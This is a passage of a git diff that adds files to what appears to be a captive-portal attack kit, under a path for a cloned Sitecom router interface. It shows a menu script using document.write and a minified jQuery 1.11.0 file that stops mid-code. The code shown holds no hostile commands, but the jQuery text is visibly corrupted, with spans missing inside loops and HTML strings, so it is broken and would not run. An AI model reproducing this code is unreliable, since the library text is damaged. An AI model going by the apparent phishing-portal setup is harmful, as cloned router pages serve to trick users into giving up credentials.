document.write(""+(showText(5))+""); + document.write(""+(showText(636))+""); + document.write(""+(showText(637))+""); + document.write(""+(showText(638))+""); + document.write(""+(showText(639))+""); + +} + +function maintenanceLink(index){ + var picArry=new Array(); + for(i=1;i<=5;i++){ + picArry[i]=(i==index)?" class=\"actief\"":"" + } + document.write(""+(showText(26))+""); + document.write(""+(showText(640))+""); + document.write(""+(showText(29))+""); + document.write(""+(showText(641))+""); + document.write("System log"); + +} + +function statusLink(index){ + var picArry=new Array(); + for(i=1;i<=4;i++){ + picArry[i]=(i==index)?" class=\"actief\"":"" + } + document.write(""+(showText(8))+""); + document.write(""+(showText(9))+""); + document.write(""+(showText(11))+""); + document.write(""+(showText(32))+""); + +} diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/js/jquery-1.11.0.min.js b/attacks/Captive Portal/sites/Sitecom_it.portal/js/jquery-1.11.0.min.js new file mode 100644 index 0000000..2aa5d7c --- /dev/null +++ b/attacks/Captive Portal/sites/Sitecom_it.portal/js/jquery-1.11.0.min.js @@ -0,0 +1,2 @@ +/*! jQuery v1.11.0 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */ +!function(d,c){"object"==typeof module&&"object"==typeof module.exports?module.exports=d.document?c(d,!0):function(b){if(!b.document){throw new Error("jQuery requires a window with a document")}return c(b)}:c(d)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k="".trim,l={},m="1.11.0",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++){if(null!=(e=arguments[h])){for(d in e){a=g[d],c=e[d],g!==c&&(j&&c&&(n.isPlainObject(c)||(b=n.isArray(c)))?(b?(b=!1,f=a&&n.isArray(a)?a:[]):f=a&&n.isPlainObject(a)?a:{},g[d]=n.extend(j,f,c)):void 0!==c&&(g[d]=c))}}}return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray||function(a){return"array"===n.type(a)},isWindow:function(a){return null!=a&&a==a.window},isNumeric:function(a){return a-parseFloat(a)>=0},isEmptyObject:function(a){var b;for(b in a){return !1}return !0},isPlainObject:function(a){var b;if(!a||"object"!==n.type(a)||a.nodeType||n.isWindow(a)){return !1}try{if(a.constructor&&!j.call(a,"constructor")&&!j.call(a.constructor.prototype,"isPrototypeOf")){return !1}}catch(c){return !1}if(l.ownLast){for(b in a){return j.call(a,b)}}for(b in a){}return void 0===b||j.call(a,b)},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(b){b&&n.trim(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++){if(d=b.apply(a[e],c),d===!1){break}}}else{for(e in a){if(d=b.apply(a[e],c),d===!1){break}}}}else{if(g){for(;f>e;e++){if(d=b.call(a[e],e,a[e]),d===!1){break}}}else{for(e in a){if(d=b.call(a[e],e,a[e]),d===!1){break}}}}return a},trim:k&&!k.call("\ufeff\xa0")?function(a){return null==a?"":k.call(a)}:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){var d;if(b){if(g){return g.call(b,a,c)}for(d=b.length,c=c?0>c?Math.max(0,d+c):c:0;d>c;c++){if(c in b&&b[c]===a){return c}}}return -1},merge:function(a,b){var c=+b.length,d=0,e=a.length;while(c>d){a[e++]=b[d++]}if(c!==c){while(void 0!==b[d]){a[e++]=b[d++]}}return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++){d=!b(a[f],f),d!==h&&e.push(a[f])}return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h){for(;g>f;f++){d=b(a[f],f,c),null!=d&&i.push(d)}}else{for(f in a){d=b(a[f],f,c),null!=d&&i.push(d)}}return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(f=a[b],b=a,a=f),n.isFunction(a)?(c=d.call(arguments,2),e=function(){return a.apply(b||this,c.concat(d.call(arguments)))},e.guid=a.guid=a.guid||n.guid++,e):void 0},now:function(){return +new Date},support:l}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b=a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s="sizzle"+-new Date,t=a.document,u=0,v=0,w=eb(),x=eb(),y=eb(),z=function(a,b){return a===b&&(j=!0),0},A="undefined",B=1<<31,C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=D.indexOf||function(a){for(var b=0,c=this.length;c>b;b++){if(this[b]===a){return b}}return -1},J="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",K="[\\x20\\t\\r\\n\\f]",L="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",M=L.replace("w","w#"),N="\\["+K+"*("+L+")"+K+"*(?:([*^$|!~]?=)"+K+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+M+")|)|)"+K+"*\\]",O=":("+L+")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|"+N.replace(3,8)+")*)|.*)\\)|)",P=new RegExp("^"+K+"+|((?:^|[^\\\\])(?:\\\\.)*)"+K+"+$","g"),Q=new RegExp("^"+K+"*,"+K+"*"),R=new RegExp("^"+K+"*([>+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(O),U=new RegExp("^"+M+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L.replace("w","w*")+")"),ATTR:new RegExp("^"+N),PSEUDO:new RegExp("^"+O),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=/'|\\/g,ab=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),bb=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)};try{G.apply(D=H.call(t.childNodes),t.childNodes),D[t.childNodes.length].nodeType}catch(cb){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]){}a.length=c-1}}}function db(a,b,d,e){var f,g,h,i,j,m,p,q,u,v;if((b?b.ownerDocument||b:t)!==l&&k(b),b=b||l,d=d||[],!a||"string"!=typeof a){return d}if(1!==(i=b.nodeType)&&9!==i){return[]}if(n&&!e){if(f=Z.exec(a)){if(h=f[1]){if(9===i){if(g=b.getElementById(h),!g||!g.parentNode){return d}if(g.id===h){return d.push(g),d}}else{if(b.ownerDocument&&(g=b.ownerDocument.getElementById(h))&&r(b,g)&&g.id===h){return d.push(g),d}}}else{if(f[2]){return G.apply(d,b.getElementsByTagName(a)),d}if((h=f[3])&&c.getElementsByClassName&&b.getElementsByClassName){return G.apply(d,b.getElementsByClassName(h)),d}}}if(c.qsa&&(!o||!o.test(a))){if(q=p=s,u=b,v=9===i&&a,1===i&&"object"!==b.nodeName.toLowerCase()){m=ob(a),(p=b.getAttribute("id"))?q=p.replace(_,"\\$&"):b.setAttribute("id",q),q="[id='"+q+"'] ",j=m.length;while(j--){m[j]=q+pb(m[j])}u=$.test(a)&&mb(b.parentNode)||b,v=m.join(",")}if(v){try{return G.apply(d,u.querySelectorAll(v)),d}catch(w){}finally{p||b.removeAttribute("id")}}}}return xb(a.replace(P,"$1"),b,d,e)}function eb(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function fb(a){return a[s]=!0,a}function gb(a){var b=l.createElement("div");try{return !!a(b)}catch(c){return !1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function hb(a,b){var c=a.split("|"),e=a.length;while(e--){d.attrHandle[c[e]]=b}}function ib(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||B)-(~a.sourceIndex||B);if(d){return d}if(c){while(c=c.nextSibling){if(c===b){return -1}}}return a?1:-1}function jb(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function kb(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function lb(a){return fb(function(b){return b=+b,fb(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--){c[e=f[g]]&&(c[e]=!(d[e]=c[e]))}})})}function mb(a){return a&&typeof a.getElementsByTagName!==A&&a}c=db.support={},f=db.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},k=db.setDocument=function(a){var b,e=a?a.ownerDocument||a:t,g=e.defaultView;return e!==l&&9===e.nodeType&&e.documentElement?(l=e,m=e.documentElement,n=!f(e),g&&g!==g.top&&(g.addEventListener?g.addEventListener("unload",function(){k()},!1):g.attachEvent&&g.attachEvent("onunload",function(){k()})),c.attributes=gb(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=gb(function(a){return a.appendChild(e.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(e.getElementsByClassName)&&gb(function(a){return a.innerHTML="
",a.firstChild.className="i",2===a.getElementsByClassName("i").length}),c.getById=gb(function(a){return m.appendChild(a).id=s,!e.getElementsByName||!e.getElementsByName(s).length}),c.getById?(d.find.ID=function(a,b){if(typeof b.getElementById!==A&&n){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ab,bb);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ab,bb);return function(a){var c=typeof a.getAttributeNode!==A&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return typeof b.getElementsByTagName!==A?b.getElementsByTagName(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++]){1===c.nodeType&&d.push(c)}return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return typeof b.getElementsByClassName!==A&&n?b.getElementsByClassName(a):void 0},p=[],o=[],(c.qsa=Y.test(e.querySelectorAll))&&(gb(function(a){a.innerHTML="",a.querySelectorAll("[t^='']").length&&o.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||o.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll(":checked").length||o.push(":checked")}),gb(function(a){var b=e.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&o.push("name"+K+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||o.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),o.push(",.*:")})),(c.matchesSelector=Y.test(q=m.webkitMatchesSelector||m.mozMatchesSelector||m.oMatchesSelector||m.msMatchesSelector))&&gb(function(a){c.disconnectedMatch=q.call(a,"div"),q.call(a,"[s!='']:x"),p.push("!=",O)}),o=o.length&&new RegExp(o.join("|")),p=p.length&&new RegExp(p.join("|")),b=Y.test(m.compareDocumentPosition),r=b||Y.test(m.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b){while(b=b.parentNode){if(b===a){return !0}}}return !1},z=b?function(a,b){if(a===b){return j=!0,0}var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===e||a.ownerDocument===t&&r(t,a)?-1:b===e||b.ownerDocument===t&&r(t,b)?1:i?I.call(i,a)-I.call(i,b):0:4&d?-1:1)}:function(a,b){if(a===b){return j=!0,0}var c,d=0,f=a.parentNode,g=b.parentNode,h=[a],k=[b];if(!f||!g){return a===e?-1:b===e?1:f?-1:g?1:i?I.call(i,a)-I.call(i,b):0}if(f===g){return ib(a,b)}c=a;while(c=c.parentNode){h.unshift(c)}c=b;while(c=c.parentNode){k.unshift(c)}while(h[d]===k[d]){d++}return d?ib(h[d],k[d]):h[d]===t?-1:k[d]===t?1:0},e):l},db.matches=function(a,b){return db(a,null,null,b)},db.matchesSelector=function(a,b){if((a.ownerDocument||a)!==l&&k(a),b=b.replace(S,"='$1']"),!(!c.matchesSelector||!n||p&&p.test(b)||o&&o.test(b))){try{var d=q.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType){return d}}catch(e){}}return db(b,l,null,[a]).length>0},db.contains=function(a,b){return(a.ownerDocument||a)!==l&&k(a),r(a,b)},db.attr=function(a,b){(a.ownerDocument||a)!==l&&k(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!n):void 0;return void 0!==f?f:c.attributes||!n?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},db.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},db.uniqueSort=function(a){var b,d=[],e=0,f=0;if(j=!c.detectDuplicates,i=!c.sortStable&&a.slice(0),a.sort(z),j){while(b=a[f++]){b===a[f]&&(e=d.push(f))}while(e--){a.splice(d[e],1)}}return i=null,a},e=db.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent){return a.textContent}for(a=a.firstChild;a;a=a.nextSibling){c+=e(a)}}else{if(3===f||4===f){return a.nodeValue}}}else{while(b=a[d++]){c+=e(b)}}return c},d=db.selectors={cacheLength:50,createPseudo:fb,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ab,bb),a[3]=(a[4]||a[5]||"").replace(ab,bb),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||db.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&db.error(a[0]),a},PSEUDO:function(a){var b,c=!a[5]&&a[2];return V.CHILD.test(a[0])?null:(a[3]&&void 0!==a[4]?a[2]=a[4]:c&&T.test(c)&&(b=ob(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ab,bb).toLowerCase();return"*"===a?function(){return !0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=w[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&w(a,function(a){return b.test("string"==typeof a.className&&a.className||typeof a.getAttribute!==A&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=db.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return !!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),t=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p]){if(h?l.nodeName.toLowerCase()===r:1===l.nodeType){return !1}}o=p="only"===a&&!o&&"nextSibling"}return !0}if(o=[g?q.firstChild:q.lastChild],g&&t){k=q[s]||(q[s]={}),j=k[a]||[],n=j[0]===u&&j[1],m=j[0]===u&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop()){if(1===l.nodeType&&++m&&l===b){k[a]=[u,n,m];break}}}else{if(t&&(j=(b[s]||(b[s]={}))[a])&&j[0]===u){m=j[1]}else{while(l=++n&&l&&l[p]||(m=n=0)||o.pop()){if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(t&&((l[s]||(l[s]={}))[a]=[u,m]),l===b)){break}}}}return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||db.error("unsupported pseudo: "+a);return e[s]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?fb(function(a,c){var d,f=e(a,b),g=f.length;while(g--){d=I.call(a,f[g]),a[d]=!(c[d]=f[g])}}):function(a){return e(a,0,c)}):e}},pseudos:{not:fb(function(a){var b=[],c=[],d=g(a.replace(P,"$1"));return d[s]?fb(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--){(f=g[h])&&(a[h]=!(b[h]=f))}}):function(a,e,f){return b[0]=a,d(b,null,f,c),!c.pop()}}),has:fb(function(a){return function(b){return db(a,b).length>0}}),contains:fb(function(a){return function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:fb(function(a){return U.test(a||"")||db.error("unsupported lang: "+a),a=a.replace(ab,bb).toLowerCase(),function(b){var c;do{if(c=n?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang")){return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-")}}while((b=b.parentNode)&&1===b.nodeType);return !1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===m},focus:function(a){return a===l.activeElement&&(!l.hasFocus||l.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling){if(a.nodeType<6){return !1}}return !0},parent:function(a){return !d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:lb(function(){return[0]}),last:lb(function(a,b){return[b-1]}),eq:lb(function(a,b,c){return[0>c?c+b:c]}),even:lb(function(a,b){for(var c=0;b>c;c+=2){a.push(c)}return a}),odd:lb(function(a,b){for(var c=1;b>c;c+=2){a.push(c)}return a}),lt:lb(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;){a.push(d)}return a}),gt:lb(function(a,b,c){for(var d=0>c?c+b:c;++db;b++){d+=a[b].value}return d}function qb(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=v++;return b.first?function(b,c,f){while(b=b[d]){if(1===b.nodeType||e){return a(b,c,f)}}}:function(b,c,g){var h,i,j=[u,f];if(g){while(b=b[d]){if((1===b.nodeType||e)&&a(b,c,g)){return !0}}}else{while(b=b[d]){if(1===b.nodeType||e){if(i=b[s]||(b[s]={}),(h=i[d])&&h[0]===u&&h[1]===f){return j[2]=h[2]}if(i[d]=j,j[2]=a(b,c,g)){return !0}}}}}}function rb(a){return a.length>1?function(b,c,d){var e=a.length;while(e--){if(!a[e](b,c,d)){return !1}}return !0}:a[0]}function sb(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++){(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h))}return g}function tb(a,b,c,d,e,f){return d&&!d[s]&&(d=tb(d)),e&&!e[s]&&(e=tb(e,f)),fb(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||wb(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:sb(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=sb(r,n),d(j,[],h,i),k=j.length;while(k--){(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}}if(f){if(e||a){if(e){j=[],k=r.length;while(k--){(l=r[k])&&j.push(q[k]=l)}e(null,r=[],j,i)}k=r.length;while(k--){(l=r[k])&&(j=e?I.call(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}}else{r=sb(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)}})}function ub(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],i=g||d.relative[" "],j=g?1:0,k=qb(function(a){return a===b},i,!0),l=qb(function(a){return I.call(b,a)>-1},i,!0),m=[function(a,c,d){return !g&&(d||c!==h)||((b=c).nodeType?k(a,c,d):l(a,c,d))}];f>j;j++){if(c=d.relative[a[j].type]){m=[qb(rb(m),c)]}else{if(c=d.filter[a[j].type].apply(null,a[j].matches),c[s]){for(e=++j;f>e;e++){if(d.relative[a[e].type]){break}}return tb(j>1&&rb(m),j>1&&pb(a.slice(0,j-1).concat({value:" "===a[j-2].type?"*":""})).replace(P,"$1"),c,e>j&&ub(a.slice(j,e)),f>e&&ub(a=a.slice(e)),f>e&&pb(a))}m.push(c)}}return rb(m)}function vb(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,i,j,k){var m,n,o,p=0,q="0",r=f&&[],s=[],t=h,v=f||e&&d.find.TAG("*",k),w=u+=null==t?1:Math.random()||0.1,x=v.length;for(k&&(h=g!==l&&g);q!==x&&null!=(m=v[q]);q++){if(e&&m){n=0;while(o=a[n++]){if(o(m,g,i)){j.push(m);break}}k&&(u=w)}c&&((m=!o&&m)&&p--,f&&r.push(m))}if(p+=q,c&&q!==p){n=0;while(o=b[n++]){o(r,s,g,i)}if(f){if(p>0){while(q--){r[q]||s[q]||(s[q]=E.call(j))}}s=sb(s)}G.apply(j,s),k&&!f&&s.length>0&&p+b.length>1&&db.uniqueSort(j)}return k&&(u=w,h=t),r};return c?fb(f):f}g=db.compile=function(a,b){var c,d=[],e=[],f=y[a+" "];if(!f){b||(b=ob(a)),c=b.length;while(c--){f=ub(b[c]),f[s]?d.push(f):e.push(f)}f=y(a,vb(e,d))}return f};function wb(a,b,c){for(var d=0,e=b.length;e>d;d++){db(a,b[d],c)}return c}function xb(a,b,e,f){var h,i,j,k,l,m=ob(a);if(!f&&1===m.length){if(i=m[0]=m[0].slice(0),i.length>2&&"ID"===(j=i[0]).type&&c.getById&&9===b.nodeType&&n&&d.relative[i[1].type]){if(b=(d.find.ID(j.matches[0].replace(ab,bb),b)||[])[0],!b){return e}a=a.slice(i.shift().value.length)}h=V.needsContext.test(a)?0:i.length;while(h--){if(j=i[h],d.relative[k=j.type]){break}if((l=d.find[k])&&(f=l(j.matches[0].replace(ab,bb),$.test(i[0].type)&&mb(b.parentNode)||b))){if(i.splice(h,1),a=f.length&&pb(i),!a){return G.apply(e,f),e}break}}}return g(a,m)(f,b,!n,e,$.test(a)&&mb(b.parentNode)||b),e}return c.sortStable=s.split("").sort(z).join("")===s,c.detectDuplicates=!!j,k(),c.sortDetached=gb(function(a){return 1&a.compareDocumentPosition(l.createElement("div"))}),gb(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||hb("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&gb(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||hb("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),gb(function(a){return null==a.getAttribute("disabled")})||hb(J,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),db}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b)){return n.grep(a,function(a,d){return !!b.call(a,d,a)!==c})}if(b.nodeType){return n.grep(a,function(a){return a===b!==c})}if("string"==typeof b){if(w.test(b)){return n.filter(b,a,c)}b=n.filter(b,a)}return n.grep(a,function(a){return n.inArray(a,b)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=[],d=this,e=d.length;if("string"!=typeof a){return this.pushStack(n(a).filter(function(){for(b=0;e>b;b++){if(n.contains(d[b],this)){return !0}}}))}for(b=0;e>b;b++){n.find(a,d[b],c)}return c=this.pushStack(e>1?n.unique(c):c),c.selector=this.selector?this.selector+" "+a:a,c},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return !!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=a.document,A=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,B=n.fn.init=function(a,b){var c,d;if(!a){return this}if("string"==typeof a){if(c="<"===a.charAt(0)&&">"===a.charAt(a.length-1)&&a.length>=3?[null,a,null]:A.exec(a),!c||!c[1]&&b){return !b||b.jquery?(b||y).find(a):this.constructor(b).find(a)}if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:z,!0)),v.test(c[1])&&n.isPlainObject(b)){for(c in b){n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c])}}return this}if(d=z.getElementById(c[2]),d&&d.parentNode){if(d.id!==c[2]){return y.find(a)}this.length=1,this[0]=d}return this.context=z,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};B.prototype=n.fn,y=n(z);var C=/^(?:parents|prev(?:Until|All))/,D={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=a[b];while(e&&9!==e.nodeType&&(void 0===c||1!==e.nodeType||!n(e).is(c))){1===e.nodeType&&d.push(e),e=e[b]}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling){1===a.nodeType&&a!==b&&c.push(a)}return c}}),n.fn.extend({has:function(a){var b,c=n(a,this),d=c.length;return this.filter(function(){for(b=0;d>b;b++){if(n.contains(this,c[b])){return !0}}})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof 